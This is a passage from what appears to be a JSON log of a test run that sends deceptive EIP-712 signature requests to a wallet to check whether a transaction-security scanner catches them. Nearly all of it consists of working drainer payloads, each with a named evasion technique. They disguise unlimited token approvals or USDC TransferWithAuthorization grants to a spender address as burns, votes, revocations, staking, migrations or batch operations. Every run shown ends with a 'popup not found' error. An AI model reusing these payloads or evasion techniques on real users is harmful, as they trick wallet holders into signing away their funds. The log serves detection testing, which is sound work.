"{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"ClaimRewards\":[{\"name\":\"claimer\",\"type\":\"address\"},{\"name\":\"rewardsPool\",\"type\":\"address\"},{\"name\":\"claimAmount\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"ClaimRewards\",\"domain\":{\"name\":\"Rewards Distribution\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"claimer\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"rewardsPool\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"claimAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "NESTED-001", "timestamp": "2026-01-31T18:36:19.339Z", "technique": "Deeply nested admin", "category": "nested", "description": "Spender buried 4 levels deep in config", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Admin\":[{\"name\":\"address\",\"type\":\"address\"},{\"name\":\"level\",\"type\":\"uint8\"}],\"SecurityLevel\":[{\"name\":\"admins\",\"type\":\"Admin[]\"},{\"name\":\"threshold\",\"type\":\"uint256\"}],\"Config\":[{\"name\":\"security\",\"type\":\"SecurityLevel\"},{\"name\":\"enabled\",\"type\":\"bool\"}],\"UpdateConfig\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"config\",\"type\":\"Config\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateConfig\",\"domain\":{\"name\":\"Config Manager\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"config\":{\"security\":{\"admins\":[{\"address\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"level\":255}],\"threshold\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},\"enabled\":true},\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "NESTED-002", "timestamp": "2026-01-31T18:36:28.882Z", "technique": "Metadata nested recipient", "category": "nested", "description": "Spender in metadata.attributes structure", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Attribute\":[{\"name\":\"key\",\"type\":\"string\"},{\"name\":\"value\",\"type\":\"address\"}],\"Metadata\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"attributes\",\"type\":\"Attribute[]\"}],\"UpdateMetadata\":[{\"name\":\"tokenId\",\"type\":\"uint256\"},{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"metadata\",\"type\":\"Metadata\"},{\"name\":\"allowance\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateMetadata\",\"domain\":{\"name\":\"NFT Registry\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"tokenId\":\"1\",\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"metadata\":{\"name\":\"My Token\",\"attributes\":[{\"key\":\"creator\",\"value\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\"},{\"key\":\"curator\",\"value\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\"},{\"key\":\"beneficiary\",\"value\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\"}]},\"allowance\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "NESTED-003", "timestamp": "2026-01-31T18:36:38.437Z", "technique": "Batch operations hiding", "category": "nested", "description": "Malicious op hidden among benign ones", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Operation\":[{\"name\":\"opType\",\"type\":\"uint8\"},{\"name\":\"target\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"}],\"BatchOps\":[{\"name\":\"sender\",\"type\":\"address\"},{\"name\":\"operations\",\"type\":\"Operation[]\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"BatchOps\",\"domain\":{\"name\":\"Batch Executor\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"sender\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"operations\":[{\"opType\":1,\"target\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"amount\":\"1000000\"},{\"opType\":1,\"target\":\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"amount\":\"2000000\"},{\"opType\":2,\"target\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},{\"opType\":1,\"target\":\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"amount\":\"500000\"}],\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "IMPERSONATE-001", "timestamp": "2026-01-31T18:36:47.991Z", "technique": "ENS update impersonation", "category": "impersonate", "description": "Looks like ENS resolver update", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SetText\":[{\"name\":\"node\",\"type\":\"bytes32\"},{\"name\":\"key\",\"type\":\"string\"},{\"name\":\"value\",\"type\":\"string\"},{\"name\":\"resolver\",\"type\":\"address\"},{\"name\":\"allowance\",\"type\":\"uint256\"}]},\"primaryType\":\"SetText\",\"domain\":{\"name\":\"ENS Public Resolver\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"node\":\"0x0000000000000000000000000000000000000000000000000000000000000000\",\"key\":\"avatar\",\"value\":\"https://example.com/avatar.png\",\"resolver\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"allowance\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "IMPERSONATE-002", "timestamp": "2026-01-31T18:36:57.539Z", "technique": "DAO vote impersonation", "category": "impersonate", "description": "Looks like casting a DAO vote", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Vote\":[{\"name\":\"proposalId\",\"type\":\"uint256\"},{\"name\":\"voter\",\"type\":\"address\"},{\"name\":\"support\",\"type\":\"bool\"},{\"name\":\"delegate\",\"type\":\"address\"},{\"name\":\"votingPower\",\"type\":\"uint256\"}]},\"primaryType\":\"Vote\",\"domain\":{\"name\":\"Governance\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"proposalId\":\"42\",\"voter\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"support\":true,\"delegate\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"votingPower\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "IMPERSONATE-003", "timestamp": "2026-01-31T18:37:07.086Z", "technique": "NFT metadata impersonation", "category": "impersonate", "description": "Looks like updating NFT metadata", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"UpdateTokenURI\":[{\"name\":\"tokenId\",\"type\":\"uint256\"},{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"newURI\",\"type\":\"string\"},{\"name\":\"royaltyRecipient\",\"type\":\"address\"},{\"name\":\"royaltyBps\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateTokenURI\",\"domain\":{\"name\":\"NFT Collection\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"tokenId\":\"1\",\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"newURI\":\"ipfs://QmExample\",\"royaltyRecipient\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"royaltyBps\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "IMPERSONATE-004", "timestamp": "2026-01-31T18:37:16.640Z", "technique": "Social recovery impersonation", "category": "impersonate", "description": "Looks like adding recovery guardian", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"AddGuardian\":[{\"name\":\"wallet\",\"type\":\"address\"},{\"name\":\"guardian\",\"type\":\"address\"},{\"name\":\"threshold\",\"type\":\"uint256\"},{\"name\":\"validUntil\",\"type\":\"uint256\"}]},\"primaryType\":\"AddGuardian\",\"domain\":{\"name\":\"Social Recovery Module\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"wallet\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"guardian\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"threshold\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validUntil\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "DECOY-001", "timestamp": "2026-01-31T18:37:26.198Z", "technique": "Address array flooding", "category": "decoy", "description": "Spender is 1 of 20 addresses", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"MultiSend\":[{\"name\":\"sender\",\"type\":\"address\"},{\"name\":\"recipients\",\"type\":\"address[]\"},{\"name\":\"amounts\",\"type\":\"uint256[]\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"MultiSend\",\"domain\":{\"name\":\"Multi Sender\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"sender\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"recipients\":[\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"0xE592427A0AEce92De3Edee1F18E0157C05861564\",\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"0x000000000022D473030F116dDEE9F6B43aC78BA3\",\"0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2\",\"0x6B175474E89094C44Da98b954EedcdCdAe53739cE\",\"0xdAC17F958D2ee523a2206206994597C13D831ec7\",\"0x027821c81bc29f8860e7a17ab759ed000c97f178\"],\"amounts\":[\"100000\",\"200000\",\"300000\",\"400000\",\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"100000\",\"200000\",\"300000\",\"400000\",\"500000\"],\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "DECOY-002", "timestamp": "2026-01-31T18:37:35.745Z", "technique": "Multi-recipient decoy", "category": "decoy", "description": "Attacker hidden among legit recipients", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Recipient\":[{\"name\":\"addr\",\"type\":\"address\"},{\"name\":\"share\",\"type\":\"uint256\"},{\"name\":\"label\",\"type\":\"string\"}],\"SplitPayment\":[{\"name\":\"payer\",\"type\":\"address\"},{\"name\":\"totalAmount\",\"type\":\"uint256\"},{\"name\":\"recipients\",\"type\":\"Recipient[]\"}]},\"primaryType\":\"SplitPayment\",\"domain\":{\"name\":\"Payment Splitter\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"payer\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"totalAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"recipients\":[{\"addr\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"share\":\"1000\",\"label\":\"Treasury\"},{\"addr\":\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"share\":\"500\",\"label\":\"Marketing\"},{\"addr\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"share\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"label\":\"Operations\"},{\"addr\":\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"share\":\"250\",\"label\":\"Dev Fund\"}]}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "VALUE-001", "timestamp": "2026-01-31T18:37:45.303Z", "technique": "Zero means unlimited", "category": "value", "description": "Value=0 but contract interprets as max", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SetLimit\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"spender\",\"type\":\"address\"},{\"name\":\"limit\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"SetLimit\",\"domain\":{\"name\":\"Spending Limits\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"spender\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"limit\":\"0\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "VALUE-002", "timestamp": "2026-01-31T18:37:54.856Z", "technique": "Negative value illusion", "category": "value", "description": "Max uint256 displayed as -1", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Adjust\":[{\"name\":\"account\",\"type\":\"address\"},{\"name\":\"operator\",\"type\":\"address\"},{\"name\":\"adjustment\",\"type\":\"int256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"Adjust\",\"domain\":{\"name\":\"Balance Adjuster\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"account\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"operator\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"adjustment\":\"-1\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "ACTION-001", "timestamp": "2026-01-31T18:38:04.413Z", "technique": "Burn that transfers", "category": "action", "description": "Looks like burning but transfers to spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Burn\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"burnAddress\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"Burn\",\"domain\":{\"name\":\"Token Burner\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"burnAddress\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "ACTION-002", "timestamp": "2026-01-31T18:38:13.974Z", "technique": "Lock that approves", "category": "action", "description": "Looks like locking tokens but approves", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"LockTokens\":[{\"name\":\"locker\",\"type\":\"address\"},{\"name\":\"lockContract\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"duration\",\"type\":\"uint256\"}]},\"primaryType\":\"LockTokens\",\"domain\":{\"name\":\"Token Locker\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"locker\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"lockContract\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"duration\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "ACTION-003", "timestamp": "2026-01-31T18:38:23.537Z", "technique": "Stake that approves", "category": "action", "description": "Looks like staking but grants approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Stake\":[{\"name\":\"staker\",\"type\":\"address\"},{\"name\":\"stakingPool\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"lockPeriod\",\"type\":\"uint256\"}]},\"primaryType\":\"Stake\",\"domain\":{\"name\":\"Staking Rewards\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"staker\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"stakingPool\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"lockPeriod\":\"31536000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "ACTION-004", "timestamp": "2026-01-31T18:38:33.097Z", "technique": "Migration to attacker", "category": "action", "description": "Looks like v2 migration but goes to attacker", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"MigrateToV2\":[{\"name\":\"holder\",\"type\":\"address\"},{\"name\":\"v2Contract\",\"type\":\"address\"},{\"name\":\"migrateAmount\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"MigrateToV2\",\"domain\":{\"name\":\"Token Migration\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"holder\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"v2Contract\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"migrateAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN49-EIP3009-022", "timestamp": "2026-01-31T18:38:42.654Z", "technique": "EIP-3009 uppercase addresses", "category": "eip3009", "description": "EIP-3009 with addresses in all uppercase (invalid checksum)", "expectedBypass": "Invalid checksum might confuse validators", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0B86991C6218B36C1D19D4A2E9EB0CE3606EB48\"},\"message\":{\"from\":\"0x027821C81BC29F8860E7A17AB759ED000C97F178\",\"to\":\"0x87EF9D8F1CEC5AFC1A46B472D068FB84E7947326\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0xcf47bfb1b62699888f6f05a870a73705fb71f6459715c028f9ab3da0a3159198\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN49-EIP3009-054", "timestamp": "2026-01-31T18:38:52.207Z", "technique": "EIP-3009 self transfer", "category": "eip3009", "description": "EIP-3009 where from = SPENDER (attacker sending to self)", "expectedBypass": "Self-transfer might seem benign", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0x35bbb4eca56ed73a84d729fa679e24df8bf77e3177b8224de9dfbba209f86853\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-001", "timestamp": "2026-01-31T18:39:01.768Z", "technique": "RevokeAccess type that grants", "category": "semantic", "description": "Type named RevokeAccess but grants unlimited approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"RevokeAccess\":[{\"name\":\"account\",\"type\":\"address\"},{\"name\":\"revokedAddress\",\"type\":\"address\"},{\"name\":\"revokeAmount\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"RevokeAccess\",\"domain\":{\"name\":\"Token Security Manager\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"account\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"revokedAddress\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"revokeAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-002", "timestamp": "2026-01-31T18:39:11.322Z", "technique": "DisableWithdrawals type", "category": "semantic", "description": "Sounds like disabling but enables", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", 